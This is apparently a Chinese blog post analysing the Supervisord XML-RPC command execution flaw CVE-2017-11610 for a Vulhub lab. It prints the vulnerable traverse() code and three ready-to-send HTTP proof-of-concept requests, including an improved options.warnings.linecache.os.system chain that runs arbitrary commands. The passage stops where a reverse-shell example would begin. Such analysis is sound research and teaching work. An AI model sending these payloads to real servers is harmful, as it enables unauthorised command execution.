Supervisord远程命令执行漏洞（CVE-2017-11610）-工具盒子

前几天Supervisord出现了一个需认证的远程命令执行漏洞（CVE-2017-11610），在对其进行分析以后，将靶场加入了Vulhub豪华套餐： https://github.com/phith0n/vulhub/tree/master/supervisor/CVE-2017-11610

Supervisord {#supervisord}

Supervisord是一款Python开发，用于管理后台应用（服务）的工具，其角色类似于Linux自带的Systemd。

我觉得它相比Systemd有几个特点：

配置比较简单
一个简单的第三方应用，与系统没有耦合
提供HTTP API，支持远程操作

所以，我之前把他用来跑一些Web应用。

Supervisord的架构分为Server和Client，Server以一个服务的形式，跑在系统后台，而Client是一个命令行工具，其实就是根据用户的要求，调用Server提供的API，执行一些工作。

查看Supervisord的配置文件可知，默认情况下，Server端监听在unix套接字unix:///tmp/supervisor.sock上，而Client配置的serverurl也是这个地址：

[unix_http_server]
file=/tmp/supervisor.sock   ; the path to the socket file
;chmod=0700                 ; socket file mode (default 0700)
;chown=nobody:nogroup       ; socket file uid:gid owner
;username=user              ; default is no username (open server)
;password=123               ; default is no password (open server)

;[inet_http_server]         ; inet (TCP) server disabled by default
;port=127.0.0.1:9001        ; ip_address:port specifier, *:port for all iface
;username=user              ; default is no username (open server)
;password=123               ; default is no password (open server)

[supervisorctl]
serverurl=unix:///tmp/supervisor.sock ; use a unix:// URL  for a unix socket
;serverurl=http://127.0.0.1:9001 ; use an http:// url to specify an inet socket
;username=chris              ; should be same as in [*_http_server] if set
;password=123                ; should be same as in [*_http_server] if set
;prompt=mysupervisor         ; cmd line prompt (default "supervisor")
;history_file=~/.sc_history  ; use readline history if available

所以，Client端去连接配置文件中的serverurl的地址，并与其使用RPC协议（基于HTTP协议）通信。比如我们平时常用的命令（启动名为web的服务）：supervisorctl start web，看下其数据包：

其实很简单的协议，通过XML，将methodName和params通过HTTP协议传给服务端进行执行。start命令执行的是supervisor.startProcess方法，仅有一个参数就是服务的名称。

另外，如果我设置了[inet_http_server]段，即可将Supervisord监听在TCP端口上，这样外部其他程序也能进行调用。我们可以直接将默认配置文件中这一段前面的分号去掉，就默认监听在9001端口上了。

漏洞分析 {#_1}

CVE-2017-11610的本质是一个不安全的对象引用+方法调用，十分类似Java中的反序列化漏洞。

在上一章中我说了，Supervisord的控制实际上就是一个C/S以RPC协议的通信的过程，而RPC协议（远程过程调用协议），顾名思义就是C端通过RPC协议可以在S端执行某个函数，并得到返回结果。那么，如果C端执行了S端预料之外的函数（如os.system），那么就会导致漏洞的产生。

一个安全的RPC协议，会有一个函数名的映射，也就是说C端只能调用在白名单之中的部分函数，并且这个"函数"只是真正函数的一个映射。

而我们来看看3.3.2版本中Supervisord是如何处理RPC调用的：

class supervisor_xmlrpc_handler(xmlrpc_handler):
    ...

    def call(self, method, params):
        return traverse(self.rpcinterface, method, params)

def traverse(ob, method, params):
    path = method.split('.')
    for name in path:
        if name.startswith('_'):
            # security (don't allow things that start with an underscore to
            # be called remotely)
            raise RPCError(Faults.UNKNOWN_METHOD)
        ob = getattr(ob, name, None)
        if ob is None:
            raise RPCError(Faults.UNKNOWN_METHOD)

    try:
        return ob(*params)
    except TypeError:
        raise RPCError(Faults.INCORRECT_PARAMETERS)

supervisor_xmlrpc_handlerl类用于处理RPC请求，其call方法就是真正执行远程调用的函数。在call方法中调用了traverse函数，跟进这个函数，我们发现他的逻辑是这样：

将method用点号分割成数组path
遍历这个数组，每次获得一个name
如果name不以下划线开头，则获取ob对象的name属性，其作为新的ob对象
遍历完成后获得最终的ob对象，调用之

所以，实际上这个函数最后达成的效果就是：初始ob对象下的任意public方法，包括它的所有递归子对象的任意public方法，都可以被调用。

而此处，ob对象即为self.rpcinterface，官方开发者可能认为可调用的方法只限制在这个对象内部，所以没有做特别严格的白名单限制。

而CVE-2017-11610的发现者发现，在self.rpcinterface.supervisor.supervisord.options对象下，有一个方法execve，其相当于直接调用了系统的os.execve函数，是可以直接执行任意命令的：

class ServerOptions(Options):
    ...    
    def execve(self, filename, argv, env):
        return os.execve(filename, argv, env)

所以，最后给出利用POC（RPC协议如何构造数据包、XML是什么格式，这个可以自己去看看文档）：

POST /RPC2 HTTP/1.1
Host: localhost
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 439

<?xml version="1.0"?>
<methodCall>
<methodName>supervisor.supervisord.options.execve</methodName>
<params>
<param>
<string>/usr/local/bin/python</string>
</param>
<param>
<array>
<data>
<value><string>python</string></value>
<value><string>-c</string></value>
<value><string>import os;os.system('touch /tmp/success');</string></value>
</data>
</array>
</param>
<param>
<struct>
</struct>
</param>
</params>
</methodCall>

POC缺陷与改进 {#poc}

当然，漏洞发现者找到的这个self.rpcinterface.supervisor.supervisord.options.execve其实不是那么好用，原因是，Python的os.execve函数会使用新进程取代现有的进程。也就是说，这里会导致Supervisord本身退出。

基于Docker容器的Supervisord（如Vulhub里这个靶场），如果基础进程Supervisord被退出，那么将导致整个容器被退出，即使我们执行了任意命令，我们获得的权限也是转瞬即逝的。

另外，即使非Docker环境，我们在测试漏洞的过程中影响到了线上业务，这个后果是无法估量的，所以我们必须想其他方法来稳定的利用漏洞。

我说两个方法。

法一、先Fork一个新进程 {#fork}

同样在self.rpcinterface.supervisor.supervisord.options对象中，有一个fork方法，是调用了系统的os.fork函数。

os.fork函数的作用就是根据当前进程，派生一个新的子进程。所以，即使当前进程被意外结束了，也不会导致Supervisord服务终止，因为派生的进程还留存着。

所以，先发送如下数据包即可派生新进程：

POST /RPC2 HTTP/1.1
Host: localhost
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 133

<?xml version="1.0"?>
<methodCall>
<methodName>supervisor.supervisord.options.fork</methodName>
<params>
</params>
</methodCall>

然后再发送之前的POC即可。

但这个方法还是会影响Docker容器。

法二、找寻其他利用链 {#_2}

这个漏洞和一些反序列化漏洞类似，都是去找到一个不安全的对象。那么，除了原作者给出的self.rpcinterface.supervisor.supervisord.options.execve()，是不是还可以找到其他更好用的利用链呢？

通过一系列调试，我找到了一个利用链：supervisor.supervisord.options.warnings.linecache.os.system()，其实目的很简单，就是想方设法找到非下划线开头的属性中，是否有引用os模块。linecache中引用了os模块：

所以，构造如下数据包：

POST /RPC2 HTTP/1.1
Host: localhost
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 275

<?xml version="1.0"?>
<methodCall>
<methodName>supervisor.supervisord.options.warnings.linecache.os.system</methodName>
<params>
<param>
<string>touch /tmp/success</string>
</param>
</params>
</methodCall>

即可直接执行任意命令。如，反弹shell：